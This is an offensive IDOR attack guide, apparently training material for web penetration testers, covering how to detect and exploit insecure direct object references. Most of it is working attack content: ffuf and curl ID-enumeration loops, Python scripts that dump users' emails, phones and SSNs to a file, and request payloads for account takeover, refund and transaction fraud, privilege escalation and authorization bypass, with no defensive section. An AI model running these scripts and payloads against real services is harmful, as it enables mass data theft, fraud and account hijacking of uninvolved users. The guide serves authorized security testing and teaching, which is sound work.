Insecure Direct Object Reference (IDOR) Attack Guide

Learn how to test and exploit Insecure Direct Object Reference (IDOR) vulnerabilities including detection, attack methods and privilege escalation techniques.

Insecure Direct Object Reference (IDOR)

Insecure Direct Object Reference (IDOR) is a web security vulnerability that occurs when an application exposes a direct reference to an internal implementation object, such as a database key or filename. Attackers can manipulate these references to access unauthorized data.

How It Works​

IDOR vulnerabilities arise when an application uses user-supplied input to access objects directly without proper authorization checks. For example, consider this URL:

https://bank.com/account?id=12345  

If the application doesn't verify that the logged-in user owns account 12345, an attacker could simply change the ID:

https://bank.com/account?id=12346  

This could expose another user's account information if authorization checks are missing.

Detection​

Manual Testing​

URL Parameter Tests​

Testing for IDOR in URL parameters by manipulating identifiers:

# Step 1: Identify direct object references  
https://site.com/user/profile?id=123  
https://site.com/api/document?doc_id=456  
https://site.com/order/view?order=789  
  
# Step 2: Change ID to another value  
https://site.com/user/profile?id=124     # Increment by 1  
https://site.com/api/document?doc_id=1   # Try minimal value  
https://site.com/order/view?order=100    # Try different ranges  
  
# Step 3: Observe response  
# - Same access level: Vulnerable to IDOR  
# - Different access: Check if sensitive data exposed  
# - Error message: Authorization might be in place  
# - 403/401: Proper access control exists  

POST Body Tests​

Testing IDOR in request bodies:

# Original request  
POST /api/update-profile  
{  
  "user_id": 123,  
  "email": "user@example.com"  
}  
  
# Modified request - Try changing user_id  
POST /api/update-profile  
{  
  "user_id": 124,  
  "email": "attacker@example.com"  
}  
  
# Array-based references  
POST /api/delete-users  
{  
  "ids": [123]  
}  
  
# Try adding other IDs  
POST /api/delete-users  
{  
  "ids": [123, 124, 125]  
}  

HTTP Header Tests​

Testing for IDOR in HTTP headers:

# User-ID in custom headers  
GET /api/profile HTTP/1.1  
X-User-ID: 123  
X-Account-ID: 456  
  
# Try modifying header values  
GET /api/profile HTTP/1.1  
X-User-ID: 124  
X-Account-ID: 457  
  
# Authorization tokens with embedded IDs  
Authorization: Bearer eyJ1c2VyX2lkIjoxMjN9...  
# Decode, modify user_id, re-encode  

Cookie Tests​

Testing IDOR through cookie manipulation:

# Original cookie  
Cookie: user_id=123; session=abc123  
  
# Modified cookie  
Cookie: user_id=124; session=abc123  
  
# Base64 encoded cookies  
Cookie: user_data=eyJ1c2VyX2lkIjoxMjN9  
# Decode: {"user_id":123}  
# Modify to: {"user_id":124}  
# Encode and test  

File Access Tests​

Testing for IDOR in file operations:

# Document downloads  
https://site.com/download?file=document_123.pdf  
https://site.com/download?file=document_124.pdf  
  
# Image access  
https://site.com/images/user/123/avatar.jpg  
https://site.com/images/user/124/avatar.jpg  
  
# Backup files  
https://site.com/backups/user_123_backup.zip  
https://site.com/backups/user_124_backup.zip  

API Endpoint Tests​

Systematically testing API endpoints for IDOR:

# RESTful API patterns  
GET /api/users/123        # Get user details  
PUT /api/users/124        # Update different user  
DELETE /api/users/125     # Delete different user  
  
# Nested resources  
GET /api/companies/1/employees/123    # Access employee  
GET /api/companies/2/employees/123    # Try different company  
  
# GraphQL queries  
query {  
  user(id: 123) { email, phone, ssn }  
  # Try: user(id: 124)  
}  

Automated Discovery​

Using Burp Suite​

To learn how to use Burp Suite in detail, you can go to our related training page by [click here](https://the platform.com/trainings/using-burp-suite).

# Step 1: Configure Burp Suite Intruder  
1. Capture request with ID parameter  
2. Send to Intruder (Ctrl+I)  
3. Mark ID parameter as payload position: §123§  
  
# Step 2: Configure payload  
- Payload type: Numbers (sequential)  
- From: 1, To: 10000, Step: 1  
  
# Step 3: Set matching rules  
- Grep Match: Look for sensitive keywords  
- Filter by status codes  
- Sort by response length  
  
# Step 4: Analyze results  
- Different response sizes indicate different data  
- Same status codes might still contain different data  
- Check response times for delays  

Using FFUF​

# Basic IDOR fuzzing with ffuf  
ffuf -u https://target.com/api/user/FUZZ -w numbers.txt -mc 200  
  
# Custom wordlist generation  
seq 1 10000 > ids.txt  
ffuf -u https://target.com/api/user/FUZZ -w ids.txt  
  
# With authentication  
ffuf -u https://target.com/api/user/FUZZ \  
  -w ids.txt \  
  -H "Authorization: Bearer TOKEN" \  
  -mc 200,301,302 \  
  -fs 0  
  
# POST request fuzzing  
ffuf -u https://target.com/api/user \  
  -w ids.txt \  
  -X POST \  
  -d '{"user_id":"FUZZ"}' \  
  -H "Content-Type: application/json"  

Using Custom Scripts​

# Python script for IDOR testing  
import requests  
  
base_url = "https://target.com/api/user/"  
headers = {"Authorization": "Bearer YOUR_TOKEN"}  
valid_responses = []  
  
for user_id in range(1, 1000):  
    url = base_url + str(user_id)  
    response = requests.get(url, headers=headers)  
      
    if response.status_code == 200:  
        # Check if response contains sensitive data  
        if "email" in response.text or "phone" in response.text:  
            valid_responses.append({  
                "id": user_id,  
                "status": response.status_code,  
                "length": len(response.text),  
                "data": response.json()  
            })  
            print(f"[+] Found: User ID {user_id}")  
  
# Save results  
with open("idor_results.json", "w") as f:  
    json.dump(valid_responses, f, indent=2)  

Attack Vectors​

Numeric ID Manipulation​

Exploiting sequential numeric identifiers:

# Basic increment/decrement  
Original: /api/invoice/1234  
Test: /api/invoice/1235  
Test: /api/invoice/1233  
  
# Range testing  
for id in {1..1000}; do  
  curl https://api.target.com/user/$id -H "Auth: token"  
done  
  
# Step-based testing  
# Some systems skip IDs (e.g., 100, 200, 300)  
for id in {100..10000..100}; do  
  curl https://api.target.com/order/$id  
done  

GUID/UUID Manipulation​

Attacking seemingly random identifiers:

# UUID enumeration (if leaked elsewhere)  
# UUIDs might be leaked in:  
# - JavaScript files  
# - API responses for other users  
# - Public profiles  
# - Email notifications  
  
# Example leaked UUIDs  
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440000  
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440001  
  
# Predictable UUID generation  
# Some UUIDs are time-based (UUID v1)  
# These can be predicted if you know the timestamp  

Hash-Based ID Bypass​

Exploiting weak hashing or encoding:

# MD5 hashed IDs  
# If ID is MD5(user_id), you can generate your own  
echo -n "123" | md5sum  # 202cb962ac59075b964b07152d234b70  
# Test: /api/user/202cb962ac59075b964b07152d234b70  
  
# Base64 encoded IDs  
echo "123" | base64     # MTIzCg==  
echo "124" | base64     # MTI0Cg==  
# Test: /api/user/MTI0Cg==  
  
# URL-safe Base64  
echo -n "user:123" | base64  # dXNlcjoxMjM=  
echo -n "user:124" | base64  # dXNlcjoxMjQ=  

Parameter Pollution​

Using multiple parameters with the same name:

# Standard request  
GET /api/profile?user_id=123  
  
# Parameter pollution attempts  
GET /api/profile?user_id=123&user_id=124  
GET /api/profile?user_id=124&user_id=123  
GET /api/profile?user_id[]=123&user_id[]=124  
  
# JSON parameter pollution  
POST /api/update  
{  
  "user_id": 123,  
  "user_id": 124,  
  "email": "attacker@evil.com"  
}  

Mass Assignment​

Exploiting missing input validation:

# Original intended request  
POST /api/update-profile  
{  
  "name": "John Doe",  
  "email": "john@example.com"  
}  
  
# Adding unauthorized fields  
POST /api/update-profile  
{  
  "name": "John Doe",  
  "email": "john@example.com",  
  "user_id": 124,              # Try to modify another user  
  "role": "admin",             # Try privilege escalation  
  "is_verified": true,         # Try to bypass verification  
  "balance": 999999            # Try to modify sensitive data  
}  

Blind IDOR Exploitation​

Exploiting IDOR when direct feedback isn't available:

# Delete operations  
DELETE /api/user/123  # Your account - check if deleted  
DELETE /api/user/124  # Other account - no direct feedback  
  
# Time-based detection  
# If operation takes longer, it might be processing  
time curl -X DELETE https://api.target.com/user/124  
  
# Out-of-band detection  
DELETE /api/user/124  
# Check:  
# - Email notifications sent to victim  
# - Webhook callbacks  
# - Database logs (if you gain access later)  
  
# State change verification  
POST /api/friend-request?to_user=124  
# Check victim's profile or friend list if accessible  

Post-Exploitation​

Data Enumeration​

Systematically extracting data:

# Extract all user data  
import requests  
import json  
  
base_url = "https://target.com/api/user/"  
headers = {"Authorization": "Bearer TOKEN"}  
users_data = []  
  
for user_id in range(1, 10000):  
    try:  
        response = requests.get(  
            f"{base_url}{user_id}",   
            headers=headers,  
            timeout=5  
        )  
          
        if response.status_code == 200:  
            user_data = response.json()  
            users_data.append(user_data)  
              
            # Extract sensitive fields  
            sensitive_info = {  
                "id": user_id,  
                "email": user_data.get("email"),  
                "phone": user_data.get("phone"),  
                "ssn": user_data.get("ssn"),  
                "address": user_data.get("address")  
            }  
            print(f"[+] User {user_id}: {sensitive_info}")  
              
    except Exception as e:  
        continue  
  
# Save complete dump  
with open("user_dump.json", "w") as f:  
    json.dump(users_data, f, indent=2)  

Privilege Escalation​

Exploiting IDOR for privilege escalation:

# Accessing admin functionality  
GET /api/admin/users/123  
GET /api/admin/settings  
  
# Modifying user roles  
PUT /api/user/124  
{  
  "role": "admin",  
  "permissions": ["read", "write", "delete"]  
}  
  
# Accessing restricted resources  
GET /api/company/1/financial-reports  
GET /api/system/config  

Account Takeover​

Using IDOR to take over accounts:

# Password reset via IDOR  
POST /api/reset-password  
{  
  "user_id": 124,  
  "new_password": "attacker_password"  
}  
  
# Email change via IDOR  
PUT /api/user/124/email  
{  
  "new_email": "attacker@evil.com"  
}  
  
# Adding authentication method  
POST /api/user/124/add-phone  
{  
  "phone": "+1234567890"  
}  

Financial Fraud​

Exploiting IDOR in financial operations:

# Modifying transaction amounts  
PUT /api/transaction/123  
{  
  "amount": 0.01,  
  "status": "completed"  
}  
  
# Accessing other users' payment methods  
GET /api/user/124/payment-methods  
POST /api/payment/charge  
{  
  "user_id": 124,  
  "payment_method_id": "pm_abc123",  
  "amount": 100  
}  
  
# Refund manipulation  
POST /api/refund  
{  
  "transaction_id": 124,  
  "account_id": 999  # Attacker's account  
}  

Bypass Techniques​

Weak Authorization Bypass​

Bypassing insufficient authorization checks:

# Role-based bypass  
# If authorization only checks role, not ownership  
GET /api/admin/user/123  # Blocked  
GET /api/user/123        # Check if accessible with user role  
  
# HTTP Method bypass  
GET /api/user/123   # Blocked  
POST /api/user/123  # Try different method  
HEAD /api/user/123  # Try HEAD request  

Path Traversal Bypass​

Using path manipulation to bypass checks:

# Directory traversal  
GET /api/user/123  
GET /api/user/../user/124  
GET /api/user/./124  
  
# Encoding bypass  
GET /api/user/%2e%2e%2fuser%2f124  
GET /api/user/..%2fuser%2f124  
  
# Null byte injection (older systems)  
GET /api/user/123%00/../../user/124  

Content-Type Bypass​

Changing content type to bypass validation:

# Original JSON request (blocked)  
POST /api/update-profile  
Content-Type: application/json  
{"user_id": 124}  
  
# Try XML  
POST /api/update-profile  
Content-Type: application/xml  
<user>  
  <user_id>124</user_id>  
</user>  
  
# Try form data  
POST /api/update-profile  
Content-Type: application/x-www-form-urlencoded  
user_id=124  

Array Wrapping​

Wrapping parameters in arrays:

# Blocked  
{  
  "user_id": 124  
}  
  
# Try array wrapping  
{  
  "user_id": [124]  
}  
  
# Try nested object  
{  
  "user": {  
    "id": 124  
  }  
}  
  
# Try multiple values  
{  
  "user_id": [123, 124]  
}  

Token Confusion​

Exploiting token handling issues:

# Using expired tokens  
# Some systems validate token but ignore expiry  
  
# Using tokens from different endpoints  
# Token from /api/v1/user might work on /api/v2/user  
  
# Missing token validation  
# Some endpoints might not validate token at all  
curl https://api.target.com/user/124  
# Try without Authorization header  
  
# JWT algorithm confusion  
# Change alg from RS256 to HS256  
# Change alg to "none"  

Wildcard Exploitation​

Using wildcards in ID parameters:

# Wildcard in IDs  
GET /api/user/*  
GET /api/user/%  
GET /api/user/_  
  
# Regex exploitation  
GET /api/user/.*  
GET /api/user/[0-9]+  
  
# Range specification  
GET /api/users?ids=1-100  
GET /api/users?ids=*  

Common Tools​

Tool| Description| Primary Use Case
---|---|---
Burp Suite| Web vulnerability scanner| IDOR discovery and exploitation
FFUF| Fast web fuzzer| ID enumeration
Autorize| Burp extension| Authorization testing
AuthMatrix| Burp extension| Access control testing
InQL| Burp extension| GraphQL IDOR testing
Postman| API testing tool| Manual IDOR testing